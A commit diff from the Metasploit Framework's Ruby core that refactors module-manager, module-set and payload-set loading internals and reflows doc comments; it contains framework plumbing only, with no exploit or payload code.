commit
70c2093d1a
|
@ -69,8 +69,7 @@ module Exploit
|
||||||
|
|
||||||
# Make sure parameters are valid.
|
# Make sure parameters are valid.
|
||||||
if (opts['Payload'] == nil)
|
if (opts['Payload'] == nil)
|
||||||
raise MissingPayloadError,
|
raise MissingPayloadError.new, caller
|
||||||
"You must specify a payload.", caller
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Verify the options
|
# Verify the options
|
||||||
|
@ -81,7 +80,7 @@ module Exploit
|
||||||
|
|
||||||
# Initialize the driver instance
|
# Initialize the driver instance
|
||||||
driver.exploit = exploit
|
driver.exploit = exploit
|
||||||
driver.payload = exploit.framework.modules.create(opts['Payload'])
|
driver.payload = exploit.framework.payloads.create(opts['Payload'])
|
||||||
|
|
||||||
# Set the force wait for session flag if the caller requested force
|
# Set the force wait for session flag if the caller requested force
|
||||||
# blocking. This is so that passive exploits can be blocked on from
|
# blocking. This is so that passive exploits can be blocked on from
|
||||||
|
|
|
@ -375,7 +375,6 @@ class DBManager
|
||||||
refresh.each {|md| md.destroy }
|
refresh.each {|md| md.destroy }
|
||||||
refresh = nil
|
refresh = nil
|
||||||
|
|
||||||
stime = Time.now.to_f
|
|
||||||
[
|
[
|
||||||
[ 'exploit', framework.exploits ],
|
[ 'exploit', framework.exploits ],
|
||||||
[ 'auxiliary', framework.auxiliary ],
|
[ 'auxiliary', framework.auxiliary ],
|
||||||
|
|
|
@ -12,11 +12,15 @@ require 'msf/core'
|
||||||
require 'msf/core/module_set'
|
require 'msf/core/module_set'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This
|
# Upper management decided to throw in some middle management
|
||||||
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation.
|
# because the modules were getting out of hand. This bad boy takes
|
||||||
|
# care of the work of managing the interaction with modules in terms
|
||||||
|
# of loading and instantiation.
|
||||||
#
|
#
|
||||||
# @todo add unload support
|
# @todo add unload support
|
||||||
class ModuleManager < ModuleSet
|
class ModuleManager
|
||||||
|
include Msf::Framework::Offspring
|
||||||
|
|
||||||
require 'msf/core/payload_set'
|
require 'msf/core/payload_set'
|
||||||
|
|
||||||
# require here so that Msf::ModuleManager is already defined
|
# require here so that Msf::ModuleManager is already defined
|
||||||
|
@ -41,36 +45,28 @@ module Msf
|
||||||
# Maps module type directory to its module type.
|
# Maps module type directory to its module type.
|
||||||
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
|
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
|
||||||
|
|
||||||
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module
|
def [](key)
|
||||||
# and notify the event dispatcher.
|
names = key.split("/")
|
||||||
#
|
type = names.shift
|
||||||
# @param (see Msf::ModuleSet#add_module)
|
|
||||||
# @return (see Msf::ModuleSet#add_module)
|
|
||||||
def add_module(mod, name, file_paths)
|
|
||||||
# Call {Msf::ModuleSet#add_module} with same arguments
|
|
||||||
dup = super
|
|
||||||
|
|
||||||
# Automatically subscribe a wrapper around this module to the necessary
|
module_set = module_set_by_type[type]
|
||||||
# event providers based on whatever events it wishes to receive. We
|
|
||||||
# only do this if we are the module manager instance, as individual
|
|
||||||
# module sets need not subscribe.
|
|
||||||
auto_subscribe_module(dup)
|
|
||||||
|
|
||||||
# Notify the framework that a module was loaded
|
module_reference_name = names.join("/")
|
||||||
framework.events.on_module_load(name, dup)
|
module_set[module_reference_name]
|
||||||
|
|
||||||
dup
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Creates a module instance using the supplied reference name.
|
# Creates a module instance using the supplied reference name.
|
||||||
#
|
#
|
||||||
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the
|
# @param name [String] A module reference name. It may optionally
|
||||||
# module will be created from the {Msf::ModuleSet} for the given <type>.
|
# be prefixed with a "<type>/", in which case the module will be
|
||||||
|
# created from the {Msf::ModuleSet} for the given <type>.
|
||||||
|
# Otherwise, we step through all sets until we find one that
|
||||||
|
# matches.
|
||||||
# @return (see Msf::ModuleSet#create)
|
# @return (see Msf::ModuleSet#create)
|
||||||
def create(name)
|
def create(name)
|
||||||
# Check to see if it has a module type prefix. If it does,
|
# Check to see if it has a module type prefix. If it does,
|
||||||
# try to load it from the specific module set for that type.
|
# try to load it from the specific module set for that type.
|
||||||
names = name.split(File::SEPARATOR)
|
names = name.split("/")
|
||||||
potential_type_or_directory = names.first
|
potential_type_or_directory = names.first
|
||||||
|
|
||||||
# if first name is a type
|
# if first name is a type
|
||||||
|
@ -81,15 +77,24 @@ module Msf
|
||||||
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
|
type = TYPE_BY_DIRECTORY[potential_type_or_directory]
|
||||||
end
|
end
|
||||||
|
|
||||||
|
module_instance = nil
|
||||||
if type
|
if type
|
||||||
module_set = module_set_by_type[type]
|
module_set = module_set_by_type[type]
|
||||||
|
|
||||||
module_reference_name = names[1 .. -1].join(File::SEPARATOR)
|
# First element in names is the type, so skip it
|
||||||
module_set.create(module_reference_name)
|
module_reference_name = names[1 .. -1].join("/")
|
||||||
# Otherwise, just try to load it by name.
|
module_instance = module_set.create(module_reference_name)
|
||||||
else
|
else
|
||||||
super
|
# Then we don't have a type, so we have to step through each set
|
||||||
|
# to see if we can create this module.
|
||||||
|
module_set_by_type.each do |_, set|
|
||||||
|
module_reference_name = names.join("/")
|
||||||
|
module_instance = set.create(module_reference_name)
|
||||||
|
break if module_instance
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
module_instance
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
@ -128,18 +133,18 @@ module Msf
|
||||||
types.each { |type|
|
types.each { |type|
|
||||||
init_module_set(type)
|
init_module_set(type)
|
||||||
}
|
}
|
||||||
|
|
||||||
super(nil)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
||||||
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used
|
# This method automatically subscribes a module to whatever event
|
||||||
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when
|
# providers it wishes to monitor. This can be used to allow modules
|
||||||
# a new host is detected, other aux modules may wish to run such that they can collect more information about the
|
# to automatically execute or perform other tasks when certain
|
||||||
# host that was detected.
|
# events occur. For instance, when a new host is detected, other
|
||||||
|
# aux modules may wish to run such that they can collect more
|
||||||
|
# information about the host that was detected.
|
||||||
#
|
#
|
||||||
# @param [Class] mod a Msf::Module subclass
|
# @param mod [Class] A subclass of Msf::Module
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def auto_subscribe_module(mod)
|
def auto_subscribe_module(mod)
|
||||||
# If auto-subscribe has been disabled
|
# If auto-subscribe has been disabled
|
||||||
|
|
|
@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
|
||||||
def load_cached_module(type, reference_name)
|
def load_cached_module(type, reference_name)
|
||||||
loaded = false
|
loaded = false
|
||||||
|
|
||||||
module_info = self.module_info_by_path.values.find { |module_info|
|
module_info = self.module_info_by_path.values.find { |inner_info|
|
||||||
module_info[:type] == type and module_info[:reference_name] == reference_name
|
inner_info[:type] == type and inner_info[:reference_name] == reference_name
|
||||||
}
|
}
|
||||||
|
|
||||||
if module_info
|
if module_info
|
||||||
|
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
|
||||||
|
|
||||||
typed_module_set = module_set(type)
|
typed_module_set = module_set(type)
|
||||||
|
|
||||||
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call
|
# Don't want to trigger as {Msf::ModuleSet#create} so check for
|
||||||
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}.
|
# key instead of using ||= which would call {Msf::ModuleSet#[]}
|
||||||
|
# which would potentially call {Msf::ModuleSet#create}.
|
||||||
unless typed_module_set.has_key? reference_name
|
unless typed_module_set.has_key? reference_name
|
||||||
typed_module_set[reference_name] = Msf::SymbolicModule
|
typed_module_set[reference_name] = Msf::SymbolicModule
|
||||||
end
|
end
|
||||||
|
|
|
@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
|
||||||
# categorized accordingly.
|
# categorized accordingly.
|
||||||
#
|
#
|
||||||
def on_module_load(mod, type, name, modinfo)
|
def on_module_load(mod, type, name, modinfo)
|
||||||
# Payload modules require custom loading as the individual files
|
dup = module_set_by_type[type].add_module(mod, name, modinfo)
|
||||||
# may not directly contain a logical payload that a user would
|
|
||||||
# reference, such as would be the case with a payload stager or
|
|
||||||
# stage. As such, when payload modules are loaded they are handed
|
|
||||||
# off to a special payload set. The payload set, in turn, will
|
|
||||||
# automatically create all the permutations after all the payload
|
|
||||||
# modules have been loaded.
|
|
||||||
|
|
||||||
if (type != Msf::MODULE_PAYLOAD)
|
# Automatically subscribe a wrapper around this module to the necessary
|
||||||
# Add the module class to the list of modules and add it to the
|
# event providers based on whatever events it wishes to receive.
|
||||||
# type separated set of module classes
|
auto_subscribe_module(dup)
|
||||||
add_module(mod, name, modinfo)
|
|
||||||
end
|
|
||||||
|
|
||||||
module_set_by_type[type].add_module(mod, name, modinfo)
|
# Notify the framework that a module was loaded
|
||||||
|
framework.events.on_module_load(name, dup)
|
||||||
|
|
||||||
|
dup
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
protected
|
||||||
|
|
|
@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
|
||||||
self.enablement_by_type[type] = true
|
self.enablement_by_type[type] = true
|
||||||
case type
|
case type
|
||||||
when Msf::MODULE_PAYLOAD
|
when Msf::MODULE_PAYLOAD
|
||||||
instance = Msf::PayloadSet.new(self)
|
instance = Msf::PayloadSet.new
|
||||||
else
|
else
|
||||||
instance = Msf::ModuleSet.new(type)
|
instance = Msf::ModuleSet.new(type)
|
||||||
end
|
end
|
||||||
|
|
|
@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
|
||||||
|
|
||||||
# Create an instance of the supplied module by its name
|
# Create an instance of the supplied module by its name
|
||||||
#
|
#
|
||||||
# @param [String] name the module reference name.
|
# @param name [String] The module reference name.
|
||||||
# @return [Msf::Module] instance of the named module.
|
# @return [Msf::Module,nil] Instance of the named module or nil if it
|
||||||
|
# could not be created.
|
||||||
def create(name)
|
def create(name)
|
||||||
klass = fetch(name, nil)
|
klass = fetch(name, nil)
|
||||||
instance = nil
|
instance = nil
|
||||||
|
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
|
||||||
# If there is no module associated with this class, then try to demand
|
# If there is no module associated with this class, then try to demand
|
||||||
# load it.
|
# load it.
|
||||||
if klass.nil? or klass == Msf::SymbolicModule
|
if klass.nil? or klass == Msf::SymbolicModule
|
||||||
# If we are the root module set, then we need to try each module
|
framework.modules.load_cached_module(module_type, name)
|
||||||
# type's demand loading until we find one that works for us.
|
|
||||||
if module_type.nil?
|
|
||||||
Msf::MODULE_TYPES.each { |type|
|
|
||||||
framework.modules.load_cached_module(type, name)
|
|
||||||
}
|
|
||||||
else
|
|
||||||
framework.modules.load_cached_module(module_type, name)
|
|
||||||
end
|
|
||||||
|
|
||||||
recalculate
|
recalculate
|
||||||
|
|
||||||
|
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
|
||||||
def on_module_reload(mod)
|
def on_module_reload(mod)
|
||||||
end
|
end
|
||||||
|
|
||||||
# @!attribute [rw] postpone_recalc
|
|
||||||
# Whether or not recalculations should be postponed. This is used
|
|
||||||
# from the context of the {#each_module_list} handler in order to
|
|
||||||
# prevent the demand loader from calling recalc for each module if
|
|
||||||
# it's possible that more than one module may be loaded. This field
|
|
||||||
# is not initialized until used.
|
|
||||||
#
|
|
||||||
# @return [true] if {#recalculate} should not be called immediately
|
|
||||||
# @return [false] if {#recalculate} should be called immediately
|
|
||||||
attr_accessor :postpone_recalculate
|
|
||||||
|
|
||||||
# Dummy placeholder to recalculate aliases and other fun things.
|
# Dummy placeholder to recalculate aliases and other fun things.
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
|
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
|
||||||
(self[name]) ? true : false
|
(self[name]) ? true : false
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
|
||||||
|
|
||||||
# Adds a module with a the supplied name.
|
# Adds a module with a the supplied name.
|
||||||
#
|
#
|
||||||
# @param [Class] mod The module class: a subclass of Msf::Module.
|
# @param [Class] mod The module class: a subclass of Msf::Module.
|
||||||
|
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
|
||||||
mod
|
mod
|
||||||
end
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
# Load all modules that are marked as being symbolic.
|
# Load all modules that are marked as being symbolic.
|
||||||
#
|
#
|
||||||
# @return [void]
|
# @return [void]
|
||||||
def demand_load_modules
|
def demand_load_modules
|
||||||
|
found_symbolics = false
|
||||||
# Pre-scan the module list for any symbolic modules
|
# Pre-scan the module list for any symbolic modules
|
||||||
self.each_pair { |name, mod|
|
self.each_pair { |name, mod|
|
||||||
if (mod == Msf::SymbolicModule)
|
if (mod == Msf::SymbolicModule)
|
||||||
self.postpone_recalculate = true
|
found_symbolics = true
|
||||||
|
|
||||||
mod = create(name)
|
mod = create(name)
|
||||||
|
|
||||||
next if (mod.nil?)
|
next if (mod.nil?)
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
# If we found any symbolic modules, then recalculate.
|
# If we found any symbolic modules, then recalculate.
|
||||||
if (self.postpone_recalculate)
|
if (found_symbolics)
|
||||||
self.postpone_recalculate = false
|
|
||||||
|
|
||||||
recalculate
|
recalculate
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
|
||||||
# Regex that can distinguish regular ruby source from unit test source.
|
# Regex that can distinguish regular ruby source from unit test source.
|
||||||
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
|
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
|
||||||
|
|
||||||
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules.
|
# @param [Msf::ModuleManager] module_manager The module manager that
|
||||||
|
# caches the loaded modules.
|
||||||
def initialize(module_manager)
|
def initialize(module_manager)
|
||||||
@module_manager = module_manager
|
@module_manager = module_manager
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns whether the path can be loaded this module loader.
|
# Returns whether the path can be loaded this module loader.
|
||||||
#
|
#
|
||||||
# @abstract Override and determine from properties of the path or the file to which the path points whether it is
|
# @abstract Override and determine from properties of the path or the
|
||||||
# loadable using {#load_modules} for the subclass.
|
# file to which the path points whether it is loadable using
|
||||||
|
# {#load_modules} for the subclass.
|
||||||
#
|
#
|
||||||
# @param path (see #load_modules)
|
# @param path (see #load_modules)
|
||||||
# @return [Boolean]
|
# @return [Boolean]
|
||||||
|
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
|
||||||
|
|
||||||
# Loads a module from the supplied path and module_reference_name.
|
# Loads a module from the supplied path and module_reference_name.
|
||||||
#
|
#
|
||||||
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
|
# @param [String] parent_path The path under which the module exists.
|
||||||
# to {#load_modules}: it may just be derived from that path.
|
# This is not necessarily the same path as passed to
|
||||||
|
# {#load_modules}: it may just be derived from that path.
|
||||||
# @param [String] type The type of module.
|
# @param [String] type The type of module.
|
||||||
# @param [String] module_reference_name The canonical name for referring to the module.
|
# @param [String] module_reference_name The canonical name for
|
||||||
# @param [Hash] options Options used to force loading and track statistics
|
# referring to the module.
|
||||||
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded
|
# @param [Hash] options Options used to force loading and track
|
||||||
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed.
|
# statistics
|
||||||
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its
|
# @option options [Hash{String => Integer}] :count_by_type Maps the
|
||||||
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated.
|
# module type to the number of module loaded
|
||||||
|
# @option options [Boolean] :force (false) whether to force loading of
|
||||||
|
# the module even if the module has not changed.
|
||||||
|
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
|
||||||
|
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
|
||||||
|
# needs to be recalculated.
|
||||||
# @option options [Boolean] :reload (false) whether this is a reload.
|
# @option options [Boolean] :reload (false) whether this is a reload.
|
||||||
|
#
|
||||||
# @return [false] if :force is false and parent_path has not changed.
|
# @return [false] if :force is false and parent_path has not changed.
|
||||||
# @return [false] if exception encountered while parsing module content
|
# @return [false] if exception encountered while parsing module
|
||||||
# @return [false] if the module is incompatible with the Core or API version.
|
# content
|
||||||
# @return [false] if the module does not implement a Metasploit(\d+) class.
|
# @return [false] if the module is incompatible with the Core or API
|
||||||
|
# version.
|
||||||
|
# @return [false] if the module does not implement a Metasploit(\d+)
|
||||||
|
# class.
|
||||||
# @return [false] if the module's is_usable method returns false.
|
# @return [false] if the module's is_usable method returns false.
|
||||||
# @return [true] if all those condition pass and the module is successfully loaded.
|
# @return [true] if all those condition pass and the module is
|
||||||
|
# successfully loaded.
|
||||||
#
|
#
|
||||||
# @see #read_module_content
|
# @see #read_module_content
|
||||||
# @see Msf::ModuleManager::Loading#file_changed?
|
# @see Msf::ModuleManager::Loading#file_changed?
|
||||||
|
@ -121,8 +134,8 @@ class Msf::Modules::Loader::Base
|
||||||
module_content = read_module_content(parent_path, type, module_reference_name)
|
module_content = read_module_content(parent_path, type, module_reference_name)
|
||||||
|
|
||||||
if module_content.empty?
|
if module_content.empty?
|
||||||
# read_module_content is responsible for calling {#load_error}, so just return here.
|
# read_module_content is responsible for calling {#load_error}, so just return here.
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
try_eval_module = lambda { |namespace_module|
|
try_eval_module = lambda { |namespace_module|
|
||||||
|
@ -139,9 +152,9 @@ class Msf::Modules::Loader::Base
|
||||||
begin
|
begin
|
||||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||||
load_error(module_path, version_compatibility_error)
|
load_error(module_path, version_compatibility_error)
|
||||||
else
|
else
|
||||||
load_error(module_path, error)
|
load_error(module_path, error)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false
|
return false
|
||||||
|
@ -150,17 +163,17 @@ class Msf::Modules::Loader::Base
|
||||||
begin
|
begin
|
||||||
namespace_module.version_compatible!(module_path, module_reference_name)
|
namespace_module.version_compatible!(module_path, module_reference_name)
|
||||||
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
|
||||||
load_error(module_path, version_compatibility_error)
|
load_error(module_path, version_compatibility_error)
|
||||||
|
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
|
||||||
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
rescue Msf::Modules::MetasploitClassCompatibilityError => error
|
||||||
load_error(module_path, error)
|
load_error(module_path, error)
|
||||||
|
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
unless usable?(metasploit_class)
|
unless usable?(metasploit_class)
|
||||||
|
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
|
||||||
|
|
||||||
# Loads all of the modules from the supplied path.
|
# Loads all of the modules from the supplied path.
|
||||||
#
|
#
|
||||||
# @note Only paths where {#loadable?} returns true should be passed to this method.
|
# @note Only paths where {#loadable?} returns true should be passed to
|
||||||
|
# this method.
|
||||||
#
|
#
|
||||||
# @param [String] path Path under which there are modules
|
# @param [String] path Path under which there are modules
|
||||||
# @param [Hash] options
|
# @param [Hash] options
|
||||||
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed.
|
# @option options [Boolean] force (false) Whether to force loading of
|
||||||
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
|
# the module even if the module has not changed.
|
||||||
|
# @return [Hash{String => Integer}] Maps module type to number of
|
||||||
|
# modules loaded
|
||||||
def load_modules(path, options={})
|
def load_modules(path, options={})
|
||||||
options.assert_valid_keys(:force)
|
options.assert_valid_keys(:force)
|
||||||
|
|
||||||
|
@ -396,28 +412,28 @@ class Msf::Modules::Loader::Base
|
||||||
raise ::NotImplementedError
|
raise ::NotImplementedError
|
||||||
end
|
end
|
||||||
|
|
||||||
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
|
||||||
#
|
#
|
||||||
# @param [String] module_path Path to the module as returned by {#module_path}.
|
# @param [String] module_path Path to the module as returned by {#module_path}.
|
||||||
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
|
||||||
# @return [void]
|
# @return [void]
|
||||||
#
|
#
|
||||||
# @see #module_path
|
# @see #module_path
|
||||||
def load_error(module_path, error)
|
def load_error(module_path, error)
|
||||||
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
|
||||||
# backtraces should not appear.
|
# backtraces should not appear.
|
||||||
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
|
||||||
|
|
||||||
log_lines = []
|
log_lines = []
|
||||||
log_lines << "#{module_path} failed to load due to the following error:"
|
log_lines << "#{module_path} failed to load due to the following error:"
|
||||||
log_lines << error.class.to_s
|
log_lines << error.class.to_s
|
||||||
log_lines << error.to_s
|
log_lines << error.to_s
|
||||||
log_lines << "Call stack:"
|
log_lines << "Call stack:"
|
||||||
log_lines += error.backtrace
|
log_lines += error.backtrace
|
||||||
|
|
||||||
log_message = log_lines.join("\n")
|
log_message = log_lines.join("\n")
|
||||||
elog(log_message)
|
elog(log_message)
|
||||||
end
|
end
|
||||||
|
|
||||||
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
|
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
|
||||||
attr_reader :module_manager
|
attr_reader :module_manager
|
||||||
|
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
|
||||||
namespace_module_name
|
namespace_module_name
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it
|
# Returns an Array of names to make a fully qualified module name to
|
||||||
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
|
# wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
|
||||||
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
|
# (metasploit) module's classes. Invalid module name characters are
|
||||||
|
# escaped by using 'H*' unpacking and prefixing each code with X so
|
||||||
|
# the code remains a valid module name when it starts with a digit.
|
||||||
#
|
#
|
||||||
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
|
# @param [String] uniq_module_reference_name The unique canonical name
|
||||||
|
# for the module including type.
|
||||||
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
|
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
|
||||||
#
|
#
|
||||||
# @see namespace_module
|
# @see namespace_module
|
||||||
|
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
|
||||||
end
|
end
|
||||||
|
|
||||||
namespace_module = create_namespace_module(namespace_module_names)
|
namespace_module = create_namespace_module(namespace_module_names)
|
||||||
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
|
# Get the parent module from the created module so that
|
||||||
# constant if needed.
|
# restore_namespace_module can remove namespace_module's constant if
|
||||||
|
# needed.
|
||||||
parent_module = namespace_module.parent
|
parent_module = namespace_module.parent
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -557,21 +577,21 @@ class Msf::Modules::Loader::Base
|
||||||
if parent_module
|
if parent_module
|
||||||
# If there is a current module with relative_name
|
# If there is a current module with relative_name
|
||||||
if parent_module.const_defined?(relative_name)
|
if parent_module.const_defined?(relative_name)
|
||||||
# if the current value isn't the value to be restored.
|
# if the current value isn't the value to be restored.
|
||||||
if parent_module.const_get(relative_name) != namespace_module
|
if parent_module.const_get(relative_name) != namespace_module
|
||||||
# remove_const is private, so use send to bypass
|
# remove_const is private, so use send to bypass
|
||||||
parent_module.send(:remove_const, relative_name)
|
parent_module.send(:remove_const, relative_name)
|
||||||
|
|
||||||
# if there was a previous module, not set it to the name
|
# if there was a previous module, not set it to the name
|
||||||
if namespace_module
|
if namespace_module
|
||||||
parent_module.const_set(relative_name, namespace_module)
|
parent_module.const_set(relative_name, namespace_module)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
# if there was a previous module, but there isn't a current module, then restore the previous module
|
# if there was a previous module, but there isn't a current module, then restore the previous module
|
||||||
if namespace_module
|
if namespace_module
|
||||||
parent_module.const_set(relative_name, namespace_module)
|
parent_module.const_set(relative_name, namespace_module)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
|
||||||
# Creates an instance of a payload set which is just a specialized module
|
# Creates an instance of a payload set which is just a specialized module
|
||||||
# set class that has custom handling for payloads.
|
# set class that has custom handling for payloads.
|
||||||
#
|
#
|
||||||
def initialize(manager)
|
def initialize
|
||||||
super(MODULE_PAYLOAD)
|
super(MODULE_PAYLOAD)
|
||||||
|
|
||||||
# A reference to the ModuleManager instance
|
|
||||||
self.manager = manager
|
|
||||||
|
|
||||||
# A hash of each of the payload types that holds an array
|
# A hash of each of the payload types that holds an array
|
||||||
# for all of the associated modules
|
# for all of the associated modules
|
||||||
self.payload_type_modules = {}
|
self.payload_type_modules = {}
|
||||||
|
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
|
||||||
# of singles, stagers, and stages.
|
# of singles, stagers, and stages.
|
||||||
#
|
#
|
||||||
def recalculate
|
def recalculate
|
||||||
# Reset the current hash associations for all non-symbolic modules
|
old_keys = self.keys
|
||||||
self.each_pair { |key, v|
|
new_keys = []
|
||||||
manager.delete(key) if (v != SymbolicModule)
|
|
||||||
}
|
|
||||||
|
|
||||||
self.delete_if { |k, v|
|
|
||||||
v != SymbolicModule
|
|
||||||
}
|
|
||||||
|
|
||||||
# Initialize a temporary hash
|
|
||||||
_temp = {}
|
|
||||||
|
|
||||||
# Populate the temporary hash
|
|
||||||
_singles.each_pair { |name, op|
|
|
||||||
_temp[name] = op
|
|
||||||
}
|
|
||||||
# Recalculate single payloads
|
# Recalculate single payloads
|
||||||
_temp.each_pair { |name, op|
|
_singles.each_pair { |name, op|
|
||||||
mod, handler = op
|
mod, handler = op
|
||||||
|
|
||||||
# Build the payload dupe using the determined handler
|
# Build the payload dupe using the determined handler
|
||||||
# and module
|
# and module
|
||||||
p = build_payload(handler, mod)
|
p = build_payload(handler, mod)
|
||||||
|
|
||||||
# Sets the modules derived name
|
|
||||||
p.refname = name
|
|
||||||
|
|
||||||
# Add it to the set
|
# Add it to the set
|
||||||
add_single(p, name, op[5])
|
add_single(p, name, op[5])
|
||||||
|
new_keys.push name
|
||||||
|
|
||||||
# Cache the payload's size
|
# Cache the payload's size
|
||||||
begin
|
begin
|
||||||
sizes[name] = p.new.size
|
sizes[name] = p.new.size
|
||||||
|
|
||||||
# Don't cache generic payload sizes.
|
# Don't cache generic payload sizes.
|
||||||
rescue NoCompatiblePayloadError
|
rescue NoCompatiblePayloadError
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
# Initialize a temporary hash
|
|
||||||
_temp = {}
|
|
||||||
|
|
||||||
# Populate the temporary hash
|
|
||||||
_stagers.each_pair { |stager_name, op|
|
|
||||||
_temp[stager_name] = op
|
|
||||||
}
|
|
||||||
# Recalculate staged payloads
|
# Recalculate staged payloads
|
||||||
_temp.each_pair { |stager_name, op|
|
_stagers.each_pair { |stager_name, op|
|
||||||
mod, handler = op
|
|
||||||
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
|
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
|
||||||
|
|
||||||
# Walk the array of stages
|
# Walk the array of stages
|
||||||
_stages.each_pair { |stage_name, ip|
|
_stages.each_pair { |stage_name, ip|
|
||||||
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip
|
stage_mod, _, stage_platform, stage_arch, stage_inst = ip
|
||||||
|
|
||||||
# No intersection between platforms on the payloads?
|
# No intersection between platforms on the payloads?
|
||||||
if ((stager_platform) and
|
if ((stager_platform) and
|
||||||
|
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
|
||||||
'files' => op[5]['files'] + ip[5]['files'],
|
'files' => op[5]['files'] + ip[5]['files'],
|
||||||
'paths' => op[5]['paths'] + ip[5]['paths'],
|
'paths' => op[5]['paths'] + ip[5]['paths'],
|
||||||
'type' => op[5]['type']})
|
'type' => op[5]['type']})
|
||||||
|
new_keys.push combined
|
||||||
|
|
||||||
# Cache the payload's size
|
# Cache the payload's size
|
||||||
sizes[combined] = p.new.size
|
sizes[combined] = p.new.size
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
